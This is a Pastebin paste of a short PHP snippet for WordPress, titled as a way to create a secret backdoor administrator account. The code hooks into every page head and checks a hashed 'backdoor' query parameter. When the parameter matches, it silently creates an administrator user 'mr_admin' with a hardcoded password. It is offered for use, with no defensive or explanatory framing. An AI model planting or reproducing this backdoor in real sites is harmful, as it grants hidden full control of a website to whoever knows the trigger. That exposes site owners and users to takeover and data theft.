Advertisement
firoze

Create A Secret Backdoor Admin Access To WordPress

Mar 26th, 2019
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.51 KB | None | 0 0
  1. add_action( 'wp_head', 'my_backdoor' );
  2.  
  3. function my_backdoor() {
  4.     if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
  5.         require( 'wp-includes/registration.php' );
  6.         if ( !username_exists( 'mr_admin' ) ) {
  7.             $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
  8.             $user = new WP_User( $user_id );
  9.             $user->set_role( 'administrator' );
  10.         }
  11.     }
  12. }
  13.  
  14.  
  15.  
  16. source link:https://www.wpcrafter.com/create-secret-backdoor-admin-access-wordpress/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement